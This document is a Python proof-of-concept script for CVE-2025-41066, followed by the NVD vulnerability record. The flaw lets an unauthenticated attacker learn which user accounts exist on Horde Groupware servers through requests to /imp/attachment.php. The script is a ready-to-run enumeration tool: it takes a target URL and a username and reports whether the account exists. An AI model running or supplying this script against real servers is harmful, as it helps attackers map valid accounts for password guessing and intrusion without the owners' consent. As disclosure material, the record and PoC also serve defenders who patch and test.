CVE-2025-41066

import requests import sys # CVE-2025-41066 User Enumeration PoC # Target: Horde Groupware < 5.2.23 def check_user(target_url, username): """Check if a user exists on the target system""" params = { 'id': 'test_attachment', 'u': username } try: response = requests.get(f'{target_url}/imp/attachment.php', params=params, timeout=10) # User exists: server returns download response with Content-Disposition header if 'attachment' in response.headers.get('Content-Disposition', '').lower(): return True # User does not exist: no download initiated else: return False except requests.RequestException as e: print(f'[-] Error checking user {username}: {e}') return None def main(): if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <username>') print(f'Example: python {sys.argv[0]} http://example.com admin') sys.exit(1) target_url = sys.argv[1].rstrip('/') username = sys.argv[2] print(f'[*] Checking user: {username}') exists = check_user(target_url, username) if exists: print(f'[+] User "{username}" EXISTS on {target_url}') elif exists is False: print(f'[-] User "{username}" does NOT exist') else: print(f'[-] Unable to determine user status') if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-41066", "sourceIdentifier": "[email protected]", "published": "2025-12-02T14:16:24.910", "lastModified": "2025-12-03T20:08:52.853", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Horde Groupware v5.2.22 has a user enumeration vulnerability that allows an unauthenticated attacker to determine the existence of valid accounts on the system. To exploit the vulnerability, an HTTP request must be sent to ‘/imp/attachment.php’ including the parameters ‘id’ and ‘u’. If the specified user exists, the server will return the download of an empty file; if it does not exist, no download will be initiated, which unequivocally reveals the validity of the user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:horde:groupware:5.2.22:*:*:*:-:*:*:*", "matchCriteriaId": "17703940-A5EF-442F-87C5-2CB3FA21F2F1"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/disclosure-sensitive-information-horde-groupware", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}